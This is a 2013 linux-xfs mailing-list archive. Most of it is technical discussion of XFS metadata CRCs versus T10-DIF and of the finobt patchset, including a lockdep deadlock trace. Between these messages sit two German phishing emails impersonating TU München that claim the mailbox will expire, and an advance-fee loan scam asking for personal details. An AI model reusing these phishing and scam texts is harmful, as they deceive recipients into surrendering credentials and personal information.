seems least stated but most likely: > > 1) You have performance concerns. > > - you need to show us the numbers if that's the case so we can discuss facts > > 2) You think T10dif will make it unnecessary > > - t10dif in hardware gives you EIO, not corruption detection & recovery > - end-to-end t10dif with xfs at the "app" layer might be an option, but > - nobody has written that, and > - the only reason to turn off the object crcs at that point is perf, and > - again, we'd need to start with performance numbers. Actually, t10-dif is not equivalent to v5 filesystem object CRCs at all. The filesystem object can span multiple sectors, and while t10-dif can only guarantee individual sector contents are correct, it cannot guarantee that all the sectors in a given filesystem object are up to date. Why is this important? Because XFS metadata can span multiple filesystem blocks and hence be discontiguous and require multiple IOs to write to disk. Hence we can have regions of the object that have different ages (i.e. partially written) and t10-diff based CRCs *cannot detect this*. So, even with end-to-end t10-dif CRCs, we still need filesystem object level CRCs to guarantee that the objects are completely internally consistent.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From afa24@bath.ac.uk Fri Sep 6 03:24:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 97EFE7F4E for ; Fri, 6 Sep 2013 03:24:32 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 20DADAC005 for ; Fri, 6 Sep 2013 01:24:28 -0700 (PDT) X-ASG-Debug-ID: 1378455862-04cbb02c3ed8d330001-w1Z2WR Received: from mansell.bath.ac.uk (mansell.bath.ac.uk [138.38.0.35]) by cuda.sgi.com with ESMTP id qovnatVmxa2vwnmm (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Sep 2013 01:24:23 -0700 (PDT) X-Barracuda-Envelope-From: afa24@bath.ac.uk X-Barracuda-Apparent-Source-IP: 138.38.0.35 Received: from authenticated user by mansell.bath.ac.uk with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256) (Exim 4) (envelope-from ) id 1VHrKt-0004IG-43; Fri, 06 Sep 2013 09:24:22 +0100 Message-ID: From: =?utf-8?B?VFUgTcO8bmNoZW4=?= Subject: Ihre E-Mail wird bald ablaufen! Date: Fri, 6 Sep 2013 09:21:51 +0100 X-ASG-Orig-Subj: Ihre E-Mail wird bald ablaufen! MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0024_01CEAAE2.854A1A40" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5843 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 X-kerberosV-authenticator: afa24@BATH.AC.UK X-BUCS: afa24 X-Scanner: 0ba04e8490652a77c193cc13bf79295ede877d36 X-Barracuda-Connect: mansell.bath.ac.uk[138.38.0.35] X-Barracuda-Start-Time: 1378455863 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.21 X-Barracuda-Spam-Status: No, SCORE=1.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE, MISSING_HEADERS, TO_CC_NONE, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140385 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines 1.21 MISSING_HEADERS Missing To: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header 0.00 BSF_SC0_TG035a Message contains invalid style definition To: undisclosed-recipients:; This is a multi-part message in MIME format. ------=_NextPart_000_0024_01CEAAE2.854A1A40 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Sehr geehrter Nutzer, Ihre E-Mail wird bald ablaufen. Um eine Unterbrechung zu vermeiden, bitte klicken Sie auf den unten stehenden Link und aktualisieren Sie Ihre E-Mail Klicken Sie hier, um ein Upgrade TU M=C3=BCnchen ------=_NextPart_000_0024_01CEAAE2.854A1A40 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable

<= /SPAN>
 
 
Sehr geehrter=20 Nutzer,

Ihre E-Mail wird=20 bald ablaufen.

Um eine Unterbrechung zu vermeiden, bitte klicken Sie auf=20 den
unten stehenden Link und= aktualisieren Sie Ihre E-Mail

Klicken=20 Sie hier, um ein Upgrade
 
TU=20 M=C3=BCnchen
------=_NextPart_000_0024_01CEAAE2.854A1A40-- From sekretariat@lls.mw.tum.de Fri Sep 6 04:10:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.0 required=5.0 tests=AXB_XMAILER_MIMEOLE_OL_E023A, HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 651007F50 for ; Fri, 6 Sep 2013 04:10:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 36D748F8035 for ; Fri, 6 Sep 2013 02:10:33 -0700 (PDT) X-ASG-Debug-ID: 1378458628-04cb6c153dd9a160001-w1Z2WR Received: from postout1.mail.lrz.de (postout1.mail.lrz.de [129.187.255.137]) by cuda.sgi.com with ESMTP id 2CJKAys3c69U1DmS (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Sep 2013 02:10:29 -0700 (PDT) X-Barracuda-Envelope-From: sekretariat@lls.mw.tum.de X-Barracuda-Apparent-Source-IP: 129.187.255.137 Received: from lxmhs51.srv.lrz.de (localhost [127.0.0.1]) by postout1.mail.lrz.de (Postfix) with ESMTP id 3cWXzl68LCzyZg; Fri, 6 Sep 2013 11:10:27 +0200 (CEST) X-Virus-Scanned: by amavisd-new at lrz.de in lxmhs51.srv.lrz.de Received: from postout1.mail.lrz.de ([127.0.0.1]) by lxmhs51.srv.lrz.de (lxmhs51.srv.lrz.de [127.0.0.1]) (amavisd-new, port 20024) with LMTP id y5JREq1li6tk; Fri, 6 Sep 2013 11:10:27 +0200 (CEST) Received: from Unknown (unknown [108.61.42.135]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by postout1.mail.lrz.de (Postfix) with ESMTPSA id 3cWXz16LFvzyZs; Fri, 6 Sep 2013 11:09:48 +0200 (CEST) Message-ID: <3F938B1AD5F94EDF8C0DCF8CC74F5D35@btdb> From: =?utf-8?B?VGVjaG5pc2NoZSBVbml2ZXJzaXTDpHQgTcO8bmNoZW4=?= Subject: Ihre E-Mail wird bald ablaufen! Date: Fri, 6 Sep 2013 10:02:47 +0100 X-ASG-Orig-Subj: Ihre E-Mail wird bald ablaufen! MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0015_01CEAAE8.3D2D8110" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5512 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5512 X-Barracuda-Connect: postout1.mail.lrz.de[129.187.255.137] X-Barracuda-Start-Time: 1378458629 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.21 X-Barracuda-Spam-Status: No, SCORE=1.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE, MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140386 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header 0.00 BSF_SC0_TG035a Message contains invalid style definition To: undisclosed-recipients:; This is a multi-part message in MIME format. ------=_NextPart_000_0015_01CEAAE8.3D2D8110 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Sehr geehrter Nutzer, Ihre E-Mail wird bald ablaufen. Um eine Unterbrechung zu vermeiden, bitte klicken Sie auf den unten stehenden Link und aktualisieren Sie Ihre E-Mail Klicken Sie hier, um ein Upgrade Technische Universit=C3=A4t M=C3=BCnchen ------=_NextPart_000_0015_01CEAAE8.3D2D8110 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable

<= /SPAN>
 
 
Sehr geehrter=20 Nutzer,

Ihre E-Mail wird=20 bald ablaufen.

Um eine Unterbrechung zu vermeiden, bitte klicken Sie auf=20 den
unten stehenden Link und= aktualisieren Sie Ihre E-Mail

Klicken=20 Sie hier, um ein Upgrade
 
Technische Universit=C3=A4t=20 M=C3=BCnchen
------=_NextPart_000_0015_01CEAAE8.3D2D8110-- From p.lan@dcpost.no Fri Sep 6 04:19:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_FRT_CONTACT autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 821937F50 for ; Fri, 6 Sep 2013 04:19:13 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 162BBAC006 for ; Fri, 6 Sep 2013 02:19:09 -0700 (PDT) X-ASG-Debug-ID: 1378459143-04bdf02f21dcae50001-w1Z2WR Received: from smtp.dcpost.no (smtp.dcpost.no [82.148.160.22]) by cuda.sgi.com with ESMTP id mBAXAh47ElzbhCaK (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Sep 2013 02:19:04 -0700 (PDT) X-Barracuda-Envelope-From: p.lan@dcpost.no X-Barracuda-Apparent-Source-IP: 82.148.160.22 Received: from webmail.dcpost.no (www.directconnect.no [82.148.160.3]) by smtp.dcpost.no (Postfix) with ESMTP id 4E267616D; Fri, 6 Sep 2013 11:18:10 +0200 (CEST) Received: from 41.206.11.9.vgccl.net ([41.206.11.9]) by webmail.dcpost.no with HTTP (HTTP/1.1 POST); Fri, 06 Sep 2013 11:18:10 +0200 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="=_212c14521f29477e18adebe803189efb" Date: Fri, 06 Sep 2013 10:18:10 +0100 From: perly-eva landsvik To: undisclosed-recipients:; Subject: =?UTF-8?Q?Gru=C3=9F=20an=20Sie=2E?= Reply-To: X-ASG-Orig-Subj: =?UTF-8?Q?Gru=C3=9F=20an=20Sie=2E?= Mail-Reply-To: Message-ID: <03b33c4a420c9e303c4785810e7c53b5@dcpost.no> X-Sender: p.lan@dcpost.no User-Agent: Direct Connect Webmail/0.5.4 X-Barracuda-Connect: smtp.dcpost.no[82.148.160.22] X-Barracuda-Start-Time: 1378459144 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.26 X-Barracuda-Spam-Status: No, SCORE=1.26 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FUZZY_CREDIT, HTML_MESSAGE, RCVD_NUMERIC_HELO, RCVD_NUMERIC_HELO_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140386 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO 0.00 FUZZY_CREDIT BODY: Attempt to obfuscate words in spam 0.00 HTML_MESSAGE BODY: HTML included in message 1.25 RCVD_NUMERIC_HELO_2 Received: contains an IP address used for HELO --=_212c14521f29477e18adebe803189efb Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=UTF-8 Gruß an Sie. Hast du abgewimmelt werden von Banken oder finanzielle Kreditgeber, Sie sind in dept, brauchen Sie eine schnelle Darlehen für Unternehmen benötigen, dann ist hier eine Chance, Meine Firma persönlichen und geschäftlichen Darlehen an Einzelpersonen bieten, ist unser Zinssatz bei 3% Zinsen fixiert per annum, in denen ein Kreditnehmer zurückzahlen kann in einem bestimmten Zeitraum. Wenn Sie interessiert sind, wenden Sie sich an den Koordinator per E-Mail: b_creditunion@zsk.name Hier sind die Informationen ist erforderlich: * Vollständiger Name: * Darlehensbetrag benötigt: * Zweck des Darlehens: * Dauer der Ausleihe: * Land: Zur weiteren besprechen Sie Ihre Situation und eine unverbindliche Analyse Ihrer Bedürfnisse, kontaktieren Sie bitte: Mit freundlichen Grüßen: Chairman/Director (BFCS Finance BV) Private E-mail: b_creditunion@zsk.name Bristol Finance Credit Services (BFCS Finance BV) --=_212c14521f29477e18adebe803189efb Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=UTF-8
   Gruß an Sie.

Hast du abgewimmelt werden = von Banken oder finanzielle Kreditgeber, Sie sind in dept, brauchen Sie ein= e schnelle Darlehen für Unternehmen benötigen, dann ist hier eine= Chance, Meine Firma persönlichen und geschäftlichen Darlehen an = Einzelpersonen bieten, ist unser Zinssatz bei 3% Zinsen fixiert per annum, = in denen ein Kreditnehmer zurückzahlen kann in einem bestimmten Zeitra= um. Wenn Sie interessiert sind, wenden Sie sich an den Koordinator per E-Ma= il: b_creditunion@zsk.name

Hier sind die Informationen ist erfor= derlich:

* Vollständiger Name:
* Darlehensbetrag ben&o= uml;tigt:
* Zweck des Darlehens:
* Dauer der Ausleihe:
* Lan= d:

Zur weiteren besprechen Sie Ihre Situation und eine unverbind= liche Analyse Ihrer Bedürfnisse, kontaktieren Sie bitte:

Mi= t freundlichen Grüßen:
Chairman/Director (BFCS Finance BV)<= br />Private E-mail: b_creditunion@zsk.name
Bristol Finance Credit Ser= vices (BFCS Finance BV)
--=_212c14521f29477e18adebe803189efb-- From bfoster@redhat.com Fri Sep 6 06:21:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4B29B7F50 for ; Fri, 6 Sep 2013 06:21:03 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D2F47AC009 for ; Fri, 6 Sep 2013 04:21:02 -0700 (PDT) X-ASG-Debug-ID: 1378466461-04bdf02f20dd2e60001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id SQBJ17oWBXf29QIN for ; Fri, 06 Sep 2013 04:21:02 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r86BL0xa017845 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 6 Sep 2013 07:21:00 -0400 Received: from laptop.bfoster (vpn-61-197.rdu2.redhat.com [10.10.61.197]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r86BKwPN027979 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Fri, 6 Sep 2013 07:20:59 -0400 Message-ID: <5229B9C1.5050505@redhat.com> Date: Fri, 06 Sep 2013 07:17:21 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8 MIME-Version: 1.0 To: "Michael L. Semon" CC: xfs@oss.sgi.com Subject: Re: [RFC PATCH 00/11] xfs: introduce the free inode btree References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <5228F4D6.4050306@gmail.com> X-ASG-Orig-Subj: Re: [RFC PATCH 00/11] xfs: introduce the free inode btree In-Reply-To: <5228F4D6.4050306@gmail.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378466461 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com On 09/05/2013 05:17 PM, Michael L. Semon wrote: > On 09/03/2013 02:24 PM, Brian Foster wrote: >> Hi all, >> >> This is an RFC for the kernel work to support a free inode btree. The free inode >> btree (finobt) is equivalent to the existing inode allocation btree with the >> exception that the finobt only tracks inode chunks with at least one free inode. >> The purpose is to improve lookups for free inode clusters for inode allocation. >> >> Newly allocated inode chunks by definition contain free inodes and are thus >> inserted into the finobt immediately. The record for a previously full inode >> chunk is inserted to the finobt when the first inode is freed. A record is >> removed from the finobt when the last free inode has been allocated or the >> entire chunk is completely deallocated. >> >> Patches 1-3 refactor some ialloc btree code to introduce the new finobt type and >> feature bit. Patches 4-7 fix up the transaction handling for inode allocation >> and deallocation to account for the new tree. Patches 8-10 add the finobt >> management code to insert, remove and modify records as appropriate. Patch 11 >> fixes growfs to support the finobt. >> >> Thoughts, reviews, flames appreciated. > > I'm looking for Dave's judgement call on whether I should run this code > full-time. The patchset applied well on top of Dave's latest work--only > a "trailing whitespace" warning on Patch #9 (I think)--and the code > compiled without error. There was a lockdep while running xfstests, > before generic/013 (I think), so I switched back to my normal git branch > and have your patchset in a separate branch. > Hi Michael, Thanks for giving this a burn. I actually haven't tested with lockdep yet, so I've made a note to do so and see if I can reproduce that or any other problems. With regard to running "full-time," I'd suggest to hold off at least until I post a non-RFC version (the next version will probably be a real v1). The review feedback has shown that a few areas need some non-trivial rework that change the behavior enough (i.e., the flush on inactive thing, transaction reservation management, etc.) that any issues at this point might be worth retesting for on the later version anyways. > My setup here is slow--x86, old IDE hardware, write cache off, debug > kernel--but the patchset made things seem a little slower. At the > right time--not necessarily now--performance numbers might be nice. > I didn't time it but did a copy of 3 kernel gits to v5 1k-block-size > XFS and just felt something was off. The copy did complete, though. > Will try timing this on another day. > That's interesting. I had a chat with Dave with regard to the existing lookup allocation algorithm and the best way to test the improved lookup, and I am able to reproduce a nice inode allocation improvement under certain conditions. I could understand seeing some general effect in performance via the addition of the new tree (there's more work to do now to manage it, after all), but my expectation is that for finobt=0 filesystems, there should be no effect whatsoever. > Anyway, good work so far! No additional stack traces were caused by > your code in limited testing, and the filesystems were are still > intact. > Thanks again for testing. Most of my testing so far has been with finobt enabled, so that's a good bit of news! :) Brian > Thanks! > > Michael > > [lockdep from xfstests generic/0-ten-something follows:] > > [ 763.993429] XFS (sdb4): Mounting Filesystem > [ 764.258701] XFS (sdb4): Ending clean mount > [ 768.798390] XFS (sdb5): Mounting Filesystem > [ 769.061280] XFS (sdb5): Ending clean mount > [ 770.030277] XFS (sdb4): Mounting Filesystem > [ 770.313502] XFS (sdb4): Ending clean mount > [ 788.932588] XFS (sdb4): Mounting Filesystem > [ 789.256815] XFS (sdb4): Ending clean mount > [ 792.639933] XFS (sdb4): Mounting Filesystem > [ 792.965477] XFS (sdb4): Ending clean mount > [ 795.166220] XFS (sdb4): Mounting Filesystem > [ 795.507372] XFS (sdb4): Ending clean mount > [ 802.870263] XFS (sdb4): Mounting Filesystem > [ 803.516422] XFS (sdb4): Ending clean mount > [ 814.376620] XFS (sdb4): Mounting Filesystem > [ 815.050778] XFS (sdb4): Ending clean mount > [ 823.169368] > [ 823.170932] ====================================================== > [ 823.172146] [ INFO: possible circular locking dependency detected ] > [ 823.172146] 3.11.0+ #5 Not tainted > [ 823.172146] ------------------------------------------------------- > [ 823.172146] dirstress/5276 is trying to acquire lock: > [ 823.172146] (sb_internal){.+.+.+}, at: [] xfs_trans_alloc+0x1f/0x35 > [ 823.172146] > [ 823.172146] but task is already holding lock: > [ 823.172146] (&(&ip->i_lock)->mr_lock){+++++.}, at: [] xfs_ilock+0x100/0x1f1 > [ 823.172146] > [ 823.172146] which lock already depends on the new lock. > [ 823.172146] > [ 823.172146] > [ 823.172146] the existing dependency chain (in reverse order) is: > [ 823.172146] > [ 823.172146] -> #1 (&(&ip->i_lock)->mr_lock){+++++.}: > [ 823.172146] [] __lock_acquire+0x345/0xa11 > [ 823.172146] [] lock_acquire+0x88/0x17e > [ 823.172146] [] _raw_spin_lock+0x47/0x74 > [ 823.172146] [] __mark_inode_dirty+0x171/0x38c > [ 823.172146] [] __set_page_dirty+0x5f/0x95 > [ 823.172146] [] mark_buffer_dirty+0x58/0x12b > [ 823.172146] [] __block_commit_write.isra.17+0x64/0x82 > [ 823.172146] [] block_write_end+0x2b/0x53 > [ 823.172146] [] generic_write_end+0x42/0x9a > [ 823.172146] [] xfs_vm_write_end+0x60/0xbe > [ 823.172146] [] generic_file_buffered_write+0x140/0x20f > [ 823.172146] [] xfs_file_buffered_aio_write+0x10b/0x205 > [ 823.172146] [] xfs_file_aio_write+0xad/0xec > [ 823.172146] [] do_sync_write+0x60/0x87 > [ 823.172146] [] vfs_write+0x9c/0x189 > [ 823.172146] [] SyS_write+0x49/0x81 > [ 823.172146] [] sysenter_do_call+0x12/0x32 > [ 823.172146] > [ 823.172146] -> #0 (sb_internal){.+.+.+}: > [ 823.172146] [] validate_chain.isra.35+0xfc7/0xff4 > [ 823.172146] [] __lock_acquire+0x345/0xa11 > [ 823.172146] [] lock_acquire+0x88/0x17e > [ 823.172146] [] __sb_start_write+0xad/0x177 > [ 823.172146] [] xfs_trans_alloc+0x1f/0x35 > [ 823.172146] [] xfs_inactive+0x129/0x4a3 > [ 823.172146] [] xfs_fs_evict_inode+0x6c/0x114 > [ 823.172146] [] evict+0x8e/0x15d > [ 823.172146] [] iput+0xc4/0x138 > [ 823.172146] [] dput+0x1b2/0x257 > [ 823.172146] [] __fput+0x140/0x1eb > [ 823.172146] [] ____fput+0xd/0xf > [ 823.172146] [] task_work_run+0x67/0x90 > [ 823.172146] [] do_notify_resume+0x61/0x63 > [ 823.172146] [] work_notifysig+0x1f/0x25 > [ 823.172146] > [ 823.172146] other info that might help us debug this: > [ 823.172146] > [ 823.172146] Possible unsafe locking scenario: > [ 823.172146] > [ 823.172146] CPU0 CPU1 > [ 823.172146] ---- ---- > [ 823.172146] lock(&(&ip->i_lock)->mr_lock); > [ 823.172146] lock(sb_internal); > [ 823.172146] lock(&(&ip->i_lock)->mr_lock); > [ 823.172146] lock(sb_internal); > [ 823.172146] > [ 823.172146] *** DEADLOCK *** > [ 823.172146] > [ 823.172146] 1 lock held by dirstress/5276: > [ 823.172146] #0: (&(&ip->i_lock)->mr_lock){+++++.}, at: [] xfs_ilock+0x100/0x1f1 > [ 823.172146] > [ 823.172146] stack backtrace: > [ 823.172146] CPU: 0 PID: 5276 Comm: dirstress Not tainted 3.11.0+ #5 > [ 823.172146] Hardware name: Dell Computer Corporation Dimension 2350/07W080, BIOS A01 12/17/2002 > [ 823.172146] c1c26060 c1c26060 da34fd58 c14ba216 da34fd78 c14b7317 c15f171b da34fdb4 > [ 823.172146] dcaa1440 00000001 dcaa18b0 00000000 da34fde4 c106e972 dcaa1888 00000001 > [ 823.172146] da34fdb4 c1057e0f 00000000 00003f61 c1c28660 00000000 dcaa1888 dcaa18b0 > [ 823.172146] Call Trace: > [ 823.172146] [] dump_stack+0x16/0x18 > [ 823.172146] [] print_circular_bug+0x1b8/0x1c2 > [ 823.172146] [] validate_chain.isra.35+0xfc7/0xff4 > [ 823.172146] [] ? sched_clock_local.constprop.3+0x39/0x131 > [ 823.172146] [] ? sched_clock_cpu+0x8f/0xe2 > [ 823.172146] [] __lock_acquire+0x345/0xa11 > [ 823.172146] [] ? __lock_acquire+0x36a/0xa11 > [ 823.172146] [] lock_acquire+0x88/0x17e > [ 823.172146] [] ? xfs_trans_alloc+0x1f/0x35 > [ 823.172146] [] __sb_start_write+0xad/0x177 > [ 823.172146] [] ? xfs_trans_alloc+0x1f/0x35 > [ 823.172146] [] ? xfs_trans_alloc+0x1f/0x35 > [ 823.172146] [] ? xfs_ilock+0x100/0x1f1 > [ 823.172146] [] xfs_trans_alloc+0x1f/0x35 > [ 823.172146] [] xfs_inactive+0x129/0x4a3 > [ 823.172146] [] ? trace_hardirqs_on+0xb/0xd > [ 823.172146] [] ? _raw_spin_unlock_irq+0x27/0x36 > [ 823.172146] [] xfs_fs_evict_inode+0x6c/0x114 > [ 823.172146] [] evict+0x8e/0x15d > [ 823.172146] [] iput+0xc4/0x138 > [ 823.172146] [] dput+0x1b2/0x257 > [ 823.172146] [] __fput+0x140/0x1eb > [ 823.172146] [] ____fput+0xd/0xf > [ 823.172146] [] task_work_run+0x67/0x90 > [ 823.172146] [] do_notify_resume+0x61/0x63 > [ 823.172146] [] work_notifysig+0x1f/0x25 > [ 824.015366] Clocksource tsc unstable (delta = 486645129 ns) > [ 825.324019] XFS (sdb4): Mounting Filesystem > [ 825.743317] XFS (sdb4): Ending clean mount > [ 827.223193] XFS (sdb4): Mounting Filesystem > [ 827.668493] XFS (sdb4): Ending clean mount > [ 837.524673] XFS (sdb4): Mounting Filesystem > [ 837.986097] XFS (sdb4): Ending clean mount > > > From bfoster@redhat.com Fri Sep 6 06:29:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 844647F53 for ; Fri, 6 Sep 2013 06:29:43 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5C34F304075 for ; Fri, 6 Sep 2013 04:29:40 -0700 (PDT) X-ASG-Debug-ID: 1378466979-04cb6c2e9cda7810001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 5VaYazKEGBjuV8Jl for ; Fri, 06 Sep 2013 04:29:39 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r86BTb0M031134 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 6 Sep 2013 07:29:37 -0400 Received: from laptop.bfoster (vpn-61-197.rdu2.redhat.com [10.10.61.197]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r86BTZrO031004 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Fri, 6 Sep 2013 07:29:36 -0400 Message-ID: <5229BBC6.5000808@redhat.com> Date: Fri, 06 Sep 2013 07:25:58 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [RFC PATCH 03/11] xfs: support the XFS_BTNUM_FINOBT free inode btree type References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-4-git-send-email-bfoster@redhat.com> <20130905005428.GQ23571@dastard> <5228AE80.5050908@redhat.com> <20130906000754.GO12779@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 03/11] xfs: support the XFS_BTNUM_FINOBT free inode btree type In-Reply-To: <20130906000754.GO12779@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378466979 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 09/05/2013 08:07 PM, Dave Chinner wrote: > On Thu, Sep 05, 2013 at 12:17:04PM -0400, Brian Foster wrote: >> On 09/04/2013 08:54 PM, Dave Chinner wrote: >>> On Tue, Sep 03, 2013 at 02:25:00PM -0400, Brian Foster wrote: ... >>> >>> What we really need here is for 